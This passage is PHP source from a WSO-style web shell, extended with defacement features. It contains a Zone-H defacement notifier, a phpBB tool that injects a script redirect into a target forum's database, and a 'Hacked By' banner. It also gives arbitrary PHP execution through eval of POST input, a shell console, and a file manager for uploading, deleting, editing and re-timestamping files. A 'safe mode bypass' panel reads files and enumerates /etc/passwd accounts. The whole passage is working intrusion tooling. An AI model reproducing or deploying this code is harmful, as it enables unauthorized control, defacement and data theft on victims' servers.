2560 if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
2561 ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
2562 echo "Site : ".$sites[$i]." Defaced !\n";
2563 ++$i;
2564 }
2565 echo "[+] Sending Sites To Zone-H.org Has Been Completed Successfully ! ! ";
2566 echo '</center>';
2567}
2568wsoFooter();
2569}
2570######################### phpbb defacer ###########################
2571function actionphpbb() {
2572wsoHeader();
2573echo'<center><h1> PHPBB index Changer </h1>
2574<form method = "POST">
2575<table border = "1" width="443" height="316" style="text-align: center" align="center">
2576<tr>
2577<td height="105" width="780">
2578<p align="center"><b>Host : </b>
2579<input type="text" name="f5" size="20" value="localhost"> <b>
2580DataBase :</b> <input type ="text" name = "f6" size="20"></p>
2581<p align="center"> <b>User :</b> <input type ="text" name = "f7" size="20">
2582<b> Password :</b> <input type ="text" name = "f8" size="20"><p align="center">
2583<b>Table Prefix:</b><br>
2584<input type ="text" name = "f9" size="20" value="phpbb_forums"></td>
2585</tr>
2586<tr>
2587<td height="167" width="780"><p align="center"> <textarea name="index2" cols=50 rows=10> <br><center>Hacked By Phenomene Dz <br><center>[ Martyrs Crew ]<br>#Algerian Hacker <br><center>#Free Pilastine <br><center>#www.fb.com/J1jeI
2588 </textarea><p align="center"><input type="hidden" name="a" value="phpbb"><input type = "submit" value = "Deface !">
2589<input type = "reset" value = "Clear"></td>
2590</tr>
2591</tr>',
2592$localhost2 = $_POST['f5'];
2593$database2 = $_POST['f6'];
2594$username2 = $_POST['f7'];
2595$password2 = $_POST['f8'];
2596$index2 = $_POST['index2'];
2597$phpbb = $_POST['f9'];
2598if($database2=$_POST['f6']){
2599$con2 =@ mysql_connect($localhost2,$username2,$password2) or die;
2600$db2 =@ mysql_select_db($database2,$con2) or die;
2601$query2 = "UPDATE $phpbb SET forum_name = '<script>location.href=\"$index2\"</script>'" or die;
2602$result2 =@ mysql_query($query2,$con2);
2603if($result2){
2604echo "<p align='center'>
2605<marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Update Finish ]----[ Mr.511 ]</marquee></p>";
2606}
2607else {
2608echo "<p align='center'><marquee behavior='alternate' bgcolor='#FF0000' style='color: #000000; font-weight: bold'>[ Mr.511 ]----[ Please Check Database Information ]----[ Mr.511 ]</marquee></p>";
2609}
2610}
2611//Greetz to FoX HACKER
2612//Coded by Mr.511
2613//x08d@hotmail.CoM
2614wsoFooter();}
2615##########################################################
2616function actionPhp() {
2617 if(isset($_POST['ajax'])) {
2618 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
2619 ob_start();
2620 eval($_POST['p1']);
2621 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
2622 echo strlen($temp), "\n", $temp;
2623 exit;
2624 }
2625 wsoHeader();
2626 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
2627 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
2628 ob_start();
2629 phpinfo();
2630 $tmp = ob_get_clean();
2631 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
2632 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
2633 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
2634 }
2635 if(empty($_POST['ajax']) && !empty($_POST['p1']))
2636 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
2637 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Exec style="margin-top:5px">';
2638 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
2639 if(!empty($_POST['p1'])) {
2640 ob_start();
2641 eval($_POST['p1']);
2642 echo htmlspecialchars(ob_get_clean());
2643 }
2644 echo '</pre></div>';
2645 wsoFooter();
2646}
2647function actionFilesMan() {
2648 wsoHeader();
2649 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
2650 if(!empty($_POST['p1'])) {
2651 switch($_POST['p1']) {
2652 case 'uploadFile':
2653 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
2654 echo "Can't upload file!";
2655 break;
2656 case 'mkdir':
2657 if(!@mkdir($_POST['p2']))
2658 echo "Can't create new dir";
2659 break;
2660 case 'delete':
2661 function deleteDir($path) {
2662 $path = (substr($path,-1)=='/') ? $path:$path.'/';
2663 $dh = opendir($path);
2664 while ( ($item = readdir($dh) ) !== false) {
2665 $item = $path.$item;
2666 if ( (basename($item) == "..") || (basename($item) == ) )
2667 continue;
2668 $type = filetype($item);
2669 if ($type == "dir")
2670 deleteDir($item);
2671 else
2672 @unlink($item);
2673 }
2674 closedir($dh);
2675 @rmdir($path);
2676 }
2677 if(is_array(@$_POST['f']))
2678 foreach($_POST['f'] as $f) {
2679 if($f == '..')
2680 continue;
2681 $f = urldecode($f);
2682 if(is_dir($f))
2683 deleteDir($f);
2684 else
2685 @unlink($f);
2686 }
2687 break;
2688 case 'paste':
2689 if($_SESSION['act'] == 'copy') {
2690 function copy_paste($c,$s,$d){
2691 if(is_dir($c.$s)){
2692 mkdir($d.$s);
2693 $h = @opendir($c.$s);
2694 while (($f = @readdir($h)) !== false)
2695 if (($f != ) and ($f != ".."))
2696 copy_paste($c.$s.'/',$f, $d.$s.'/');
2697 } elseif(is_file($c.$s))
2698 @copy($c.$s, $d.$s);
2699 }
2700 foreach($_SESSION['f'] as $f)
2701 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
2702 } elseif($_SESSION['act'] == 'move') {
2703 function move_paste($c,$s,$d){
2704 if(is_dir($c.$s)){
2705 mkdir($d.$s);
2706 $h = @opendir($c.$s);
2707 while (($f = @readdir($h)) !== false)
2708 if (($f != ) and ($f != ".."))
2709 copy_paste($c.$s.'/',$f, $d.$s.'/');
2710 } elseif(@is_file($c.$s))
2711 @copy($c.$s, $d.$s);
2712 }
2713 foreach($_SESSION['f'] as $f)
2714 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
2715 } elseif($_SESSION['act'] == 'zip') {
2716 if(class_exists('ZipArchive')) {
2717 $zip = new ZipArchive();
2718 if ($zip->open($_POST['p2'], 1)) {
2719 chdir($_SESSION['c']);
2720 foreach($_SESSION['f'] as $f) {
2721 if($f == '..')
2722 continue;
2723 if(@is_file($_SESSION['c'].$f))
2724 $zip->addFile($_SESSION['c'].$f, $f);
2725 elseif(@is_dir($_SESSION['c'].$f)) {
2726 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
2727 foreach ($iterator as $key=>$value) {
2728 $zip->addFile(realpath($key), $key);
2729 }
2730 }
2731 }
2732 chdir($GLOBALS['cwd']);
2733 $zip->close();
2734 }
2735 }
2736 } elseif($_SESSION['act'] == 'unzip') {
2737 if(class_exists('ZipArchive')) {
2738 $zip = new ZipArchive();
2739 foreach($_SESSION['f'] as $f) {
2740 if($zip->open($_SESSION['c'].$f)) {
2741 $zip->extractTo($GLOBALS['cwd']);
2742 $zip->close();
2743 }
2744 }
2745 }
2746 } elseif($_SESSION['act'] == 'tar') {
2747 chdir($_SESSION['c']);
2748 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
2749 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
2750 chdir($GLOBALS['cwd']);
2751 }
2752 unset($_SESSION['f']);
2753 break;
2754 default:
2755 if(!empty($_POST['p1'])) {
2756 $_SESSION['act'] = @$_POST['p1'];
2757 $_SESSION['f'] = @$_POST['f'];
2758 foreach($_SESSION['f'] as $k => $f)
2759 $_SESSION['f'][$k] = urldecode($f);
2760 $_SESSION['c'] = @$_POST['c'];
2761 }
2762 break;
2763 }
2764 }
2765 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
2766 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
2767 global $sort;
2768 $sort = array('name', 1);
2769 if(!empty($_POST['p1'])) {
2770 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
2771 $sort = array($match[1], (int)$match[2]);
2772 }
2773echo "<script>
2774 function sa() {
2775 for(i=0;i<d.files.elements.length;i++)
2776 if(d.files.elements[i].type == 'checkbox')
2777 d.files.elements[i].checked = d.files.elements[0].checked;
2778 }
2779</script>
2780<table width='100%' class='main' cellspacing='0' cellpadding='2'>
2781<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
2782$dirs = $files = array();
2783 $n = count($dirContent);
2784 for($i=0;$i<$n;$i++) {
2785 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
2786 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
2787 $tmp = array('name' => $dirContent[$i],
2788 'path' => $GLOBALS['cwd'].$dirContent[$i],
2789 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
2790 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
2791 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
2792 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
2793 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
2794 );
2795 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
2796 $files[] = array_merge($tmp, array('type' => 'file'));
2797 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
2798 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
2799 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ))
2800 $dirs[] = array_merge($tmp, array('type' => 'dir'));
2801 }
2802 $GLOBALS['sort'] = $sort;
2803 function wsoCmp($a, $b) {
2804 if($GLOBALS['sort'][0] != 'size')
2805 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
2806 else
2807 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
2808 }
2809 usort($files, "wsoCmp");
2810 usort($dirs, "wsoCmp");
2811 $files = array_merge($dirs, $files);
2812 $l = 0;
2813 foreach($files as $f) {
2814 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
2815 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
2816 $l = $l?0:1;
2817 }
2818 echo "<tr><td colspan=7>
2819
2820 <input type=hidden name=a value='FilesMan'>
2821 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
2822 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
2823 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
2824 if(class_exists('ZipArchive'))
2825 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
2826 echo "<option value='tar'>Compress (tar.gz)</option>";
2827 if(!empty($_SESSION['act']) && @count($_SESSION['f']))
2828 echo "<option value='paste'>Paste / Compress</option>";
2829 echo "</select> ";
2830 if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
2831 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
2832 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
2833 wsoFooter();
2834}
2835########################## String ##############################
2836function actionStringTools() {
2837 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
2838 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
2839 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
2840 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
2841 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
2842 $stringTools = array(
2843 'Base64 encode' => 'base64_encode',
2844 'Base64 decode' => 'base64_decode',
2845 'Url encode' => 'urlencode',
2846 'Url decode' => 'urldecode',
2847 'Full urlencode' => 'full_urlencode',
2848 'md5 hash' => 'md5',
2849 'sha1 hash' => 'sha1',
2850 'crypt' => 'crypt',
2851 'CRC32' => 'crc32',
2852 'ASCII to HEX' => 'ascii2hex',
2853 'HEX to ASCII' => 'hex2ascii',
2854 'HEX to DEC' => 'hexdec',
2855 'HEX to BIN' => 'hex2bin',
2856 'DEC to HEX' => 'dechex',
2857 'DEC to BIN' => 'decbin',
2858 'BIN to HEX' => 'binhex',
2859 'BIN to DEC' => 'bindec',
2860 'String to lower case' => 'strtolower',
2861 'String to upper case' => 'strtoupper',
2862 'Htmlspecialchars' => 'htmlspecialchars',
2863 'String length' => 'strlen',
2864 );
2865 if(isset($_POST['ajax'])) {
2866 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2867 ob_start();
2868 if(in_array($_POST['p1'], $stringTools))
2869 echo $_POST['p1']($_POST['p2']);
2870 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
2871 echo strlen($temp), "\n", $temp;
2872 exit;
2873 }
2874 wsoHeader();
2875 echo '<h1>String conversions</h1><div class=content>';
2876 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2877 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2878 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2879 foreach($stringTools as $k => $v)
2880 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
2881 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
2882 if(!empty($_POST['p1'])) {
2883 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
2884 }
2885 function wsoRecursiveGlob($path) {
2886 if(substr($path, -1) != '/')
2887 $path.='/';
2888 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
2889 if(is_array($paths)&&@count($paths)) {
2890 foreach($paths as $item) {
2891 if(@is_dir($item)){
2892 if($path!=$item)
2893 wsoRecursiveGlob($item);
2894 } else {
2895 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
2896 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
2897 }
2898 }
2899 }
2900 }
2901 if(@$_POST['p3'])
2902 wsoRecursiveGlob($_POST['c']);
2903 echo "</div><br><h1>Best Hash Search Engine :</h1><div class=content>
2904
2905 <form method='post' target='_blank' name='hf'>
2906 <input type='text' name='hash' style='width:200px;'><br>
2907 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
2908 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
2909 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
2910 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
2911 </form></div>";
2912 wsoFooter();
2913}
2914
2915function actionFilesTools() {
2916 if( isset($_POST['p1']) )
2917 $_POST['p1'] = urldecode($_POST['p1']);
2918 if(@$_POST['p2']=='download') {
2919 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
2920 ob_start("ob_gzhandler", 4096);
2921 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2922 if (function_exists("mime_content_type")) {
2923 $type = @mime_content_type($_POST['p1']);
2924 header("Content-Type: " . $type);
2925 } else
2926 header("Content-Type: application/octet-stream");
2927 $fp = @fopen($_POST['p1'], "r");
2928 if($fp) {
2929 while(!@feof($fp))
2930 echo @fread($fp, 1024);
2931 fclose($fp);
2932 }
2933 }exit;
2934 }
2935 if( @$_POST['p2'] == 'mkfile' ) {
2936 if(!file_exists($_POST['p1'])) {
2937 $fp = @fopen($_POST['p1'], 'w');
2938 if($fp) {
2939 $_POST['p2'] = "edit";
2940 fclose($fp);
2941 }
2942 }
2943 }
2944 wsoHeader();
2945 echo '<h1>File Tools</h1><div class=content>';
2946 if( !file_exists(@$_POST['p1']) ) {
2947 echo 'File not exists';
2948 wsoFooter();
2949 return;
2950 }
2951 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2952 if(!$uid) {
2953 $uid['name'] = @fileowner($_POST['p1']);
2954 $gid['name'] = @filegroup($_POST['p1']);
2955 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
2956 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
2957 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
2958 if( empty($_POST['p2']) )
2959 $_POST['p2'] = 'view';
2960 if( is_file($_POST['p1']) )
2961 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
2962 else
2963 $m = array('Chmod', 'Rename', 'Touch');
2964 foreach($m as $v)
2965 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
2966 echo '<br><br>';
2967 switch($_POST['p2']) {
2968 case 'view':
2969 echo '<pre class=ml1>';
2970 $fp = @fopen($_POST['p1'], 'r');
2971 if($fp) {
2972 while( !@feof($fp) )
2973 echo htmlspecialchars(@fread($fp, 1024));
2974 @fclose($fp);
2975 }
2976 echo '</pre>';
2977 break;
2978 case 'highlight':
2979 if( @is_readable($_POST['p1']) ) {
2980 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
2981 $code = @highlight_file($_POST['p1'],true);
2982 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
2983 }
2984 break;
2985 case 'chmod':
2986 if( !empty($_POST['p3']) ) {
2987 $perms = 0;
2988 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
2989 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
2990 if(!@chmod($_POST['p1'], $perms))
2991 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
2992 }
2993 clearstatcache();
2994 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
2995 break;
2996 case 'edit':
2997 if( !is_writable($_POST['p1'])) {
2998 echo 'File isn\'t writeable';
2999 break;
3000 }
3001 if( !empty($_POST['p3']) ) {
3002 $time = @filemtime($_POST['p1']);
3003 $_POST['p3'] = substr($_POST['p3'],1);
3004 $fp = @fopen($_POST['p1'],"w");
3005 if($fp) {
3006 @fwrite($fp,$_POST['p3']);
3007 @fclose($fp);
3008 echo 'Saved!<br><script>p3_="";</script>';
3009 @touch($_POST['p1'],$time,$time);
3010 }
3011 }
3012 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
3013 $fp = @fopen($_POST['p1'], 'r');
3014 if($fp) {
3015 while( !@feof($fp) )
3016 echo htmlspecialchars(@fread($fp, 1024));
3017 @fclose($fp);
3018 }
3019 echo '</textarea><input type=submit value=">>"></form>';
3020 break;
3021 case 'hexdump':
3022 $c = @file_get_contents($_POST['p1']);
3023 $n = 0;
3024 $h = array('00000000<br>','','');
3025 $len = strlen($c);
3026 for ($i=0; $i<$len; ++$i) {
3027 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
3028 switch ( ord($c[$i]) ) {
3029 case 0: $h[2] .= ' '; break;
3030 case 9: $h[2] .= ' '; break;
3031 case 10: $h[2] .= ' '; break;
3032 case 13: $h[2] .= ' '; break;
3033 default: $h[2] .= $c[$i]; break;
3034 }
3035 $n++;
3036 if ($n == 32) {
3037 $n = 0;
3038 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
3039 $h[1] .= '<br>';
3040 $h[2] .= "\n";
3041 }
3042 }
3043 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
3044 break;
3045 case 'rename':
3046 if( !empty($_POST['p3']) ) {
3047 if(!@rename($_POST['p1'], $_POST['p3']))
3048 echo 'Can\'t rename!<br>';
3049 else
3050 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
3051 }
3052 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
3053 break;
3054 case 'touch':
3055 if( !empty($_POST['p3']) ) {
3056 $time = strtotime($_POST['p3']);
3057 if($time) {
3058 if(!touch($_POST['p1'],$time,$time))
3059 echo 'Fail!';
3060 else
3061 echo 'Touched!';
3062 } else echo 'Bad time format!';
3063 }
3064 clearstatcache();
3065 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
3066 break;
3067 }
3068 echo '</div>';
3069 wsoFooter();
3070}
3071
3072function actionSafeMode() {
3073 $temp='';
3074 ob_start();
3075 switch($_POST['p1']) {
3076 case 1:
3077 $temp=@tempnam($test, 'cx');
3078 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
3079 echo @file_get_contents($temp);
3080 unlink($temp);
3081 } else
3082 echo 'Sorry... Can\'t open file';
3083 break;
3084 case 2:
3085 $files = glob($_POST['p2'].'*');
3086 if( is_array($files) )
3087 foreach ($files as $filename)
3088 echo $filename."\n";
3089 break;
3090 case 3:
3091 $ch = curl_init("file://".$_POST['p2']."�".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
3092 curl_exec($ch);
3093 break;
3094 case 4:
3095 ini_restore("safe_mode");
3096 ini_restore("open_basedir");
3097 include($_POST['p2']);
3098 break;
3099 case 5:
3100 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
3101 $uid = @posix_getpwuid($_POST['p2']);
3102 if ($uid)
3103 echo join(':',$uid)."\n";
3104 }
3105 break;
3106 }
3107 $temp = ob_get_clean();
3108 wsoHeader();
3109 echo '<h1>Safe mode bypass</h1><div class=content>';
3110 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
3111 if($temp)
3112 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
3113 echo '</div>';
3114 wsoFooter();
3115}
3116
3117
3118
3119function actionConsole() {
3120 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
3121 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
3122 $_POST['p1'] .= ' 2>&1';
3123 } elseif(!empty($_POST['p1']))
3124 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
3125
3126 if(isset($_POST['ajax'])) {
3127 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
3128 ob_start();
3129 echo "d.cf.cmd.value='';\n";
3130 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
3131 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
3132 if(@chdir($match[1])) {
3133 $GLOBALS['cwd'] = @getcwd();
3134 echo "c_='".$GLOBALS['cwd']."';";
3135 }
3136 }
3137 echo "d.cf.output.value+='".$temp."';";
3138 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
3139 $temp = ob_get_clean();
3140 echo strlen($temp), "\n", $temp;
3141 exit;
3142 }
3143 wsoHeader();
3144 echo "<script>
3145if(window.Event) window.captureEvents(Event.KEYDOWN);
3146var cmds = new Array('');
3147var cur = 0;
3148function kp(e) {
3149 var n = (window.Event) ? e.which : e.keyCode;
3150 if(n == 38) {
3151 cur--;
3152 if(cur>=0)
3153 document.cf.cmd.value = cmds[cur];
3154 else
3155 cur++;
3156 } else if(n == 40) {
3157 cur++;
3158 if(cur < cmds.length)
3159 document.cf.cmd.value = cmds[cur];
3160 else
3161 cur--;
3162 }
3163}
3164function add(cmd) {
3165 cmds.pop();
3166 cmds.push(cmd);
3167 cmds.push('');
3168 cur = cmds.length-1;
3169}
3170
3171</script>";
3172 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
3173 foreach($GLOBALS['aliases'] as $n => $v) {
3174 if($v == '') {
3175 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
3176 continue;
3177 }
3178 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
3179 }
3180 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
3181 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
